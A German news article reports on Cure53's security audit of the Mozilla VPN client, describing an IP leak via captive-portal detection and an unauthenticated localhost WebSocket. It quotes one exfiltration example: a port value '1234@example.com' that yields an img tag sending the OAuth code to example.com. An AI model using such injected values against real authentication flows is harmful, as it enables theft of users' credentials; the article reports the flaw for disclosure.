Mozilla lässt seinen VPN-Dienst auditieren

Mi, 8. September 2021, Ralf Hersel

Mozilla hat den Abschluss eines unabhängigen Audits der Client-Software für die Verbindung mit dem Mozilla-VPN-Dienst bekannt gegeben. Das Audit analysierte eine eigenständige Client-Anwendung, die mit der Qt-Bibliothek geschrieben und für Linux, macOS, Windows, Android und iOS bereitgestellt wurde. Mozilla VPN wird von über 400 Servern des schwedischen VPN-Anbieters Mullvad in mehr als 30 Ländern betrieben. Die Verbindung zum VPN-Dienst wird über das WireGuard-Protokoll hergestellt.

Das Audit wurde von Cure53 durchgeführt, das bereits die Projekte NTPsec, SecureDrop, Cryptocat, F-Droid und Dovecot auditiert hat. Die Prüfung umfasste die Überprüfung des Quellcodes und Tests zur Ermittlung möglicher Schwachstellen (kryptografische Probleme wurden nicht berücksichtigt). Während der Prüfung wurden 16 Sicherheitsprobleme identifiziert, von denen 8 den Charakter von Empfehlungen hatten, 5 wurden mit einem niedrigen, zwei mit einem mittleren und eines mit einem hohen Gefahrengrad eingestuft.


Allerdings wurde nur ein Problem mit mittlerem Schweregrad als Schwachstelle eingestuft, da es das einzige war, das ausnutzbar war. Dieses Problem führte zu einem Durchsickern von VPN-Nutzungsinformationen im Code zur Definition des unverschlüsselten Portals, indem unverschlüsselte direkte HTTP-Anfragen ausserhalb des VPN-Tunnels gesendet wurden, die die primäre IP-Adresse des Benutzers preisgaben, falls ein Angreifer den Transitverkehr kontrollieren konnte. Das Problem wird durch Deaktivieren des Erkennungsmodus für das Captive Portal in den Einstellungen gelöst.

Das zweite Problem von mittlerem Schweregrad steht im Zusammenhang mit dem Fehlen einer ordnungsgemässen Bereinigung von nicht numerischen Werten in der Portnummer, die es ermöglicht, OAuth-Authentifizierungsparameter durch das Ersetzen der Portnummer durch eine Zeichenkette wie "1234@example.com" auszuspionieren, was zur Einstellung des Tags <img src = "http: //127.0.0.1:1234@example.com/?code = ... "alt =" "> führt, das auf example.com anstelle von 127.0.0.1 zugreift.

Die dritte, als gefährlich eingestufte Schwachstelle erlaubt es jeder lokalen Anwendung, ohne Authentifizierung über einen an localhost gebundenen WebSocket auf den VPN-Client zuzugreifen. Als Beispiel wird gezeigt, wie bei aktivem VPN-Client eine beliebige Seite die Erstellung und den Versand eines Screenshots organisieren kann, indem sie das Ereignis screen_capture erzeugt. Das Problem wird nicht als Schwachstelle eingestuft, da WebSocket nur in internen Test-Builds verwendet wurde und die Verwendung dieses Kommunikationskanals nur für die Zukunft geplant war, um die Interaktion mit dem Browser-Add-on zu organisieren.

Quelle: https://blog.mozilla.org/en/mozilla/news/mozilla-vpn-completes-independent-security-audit-by-cure53/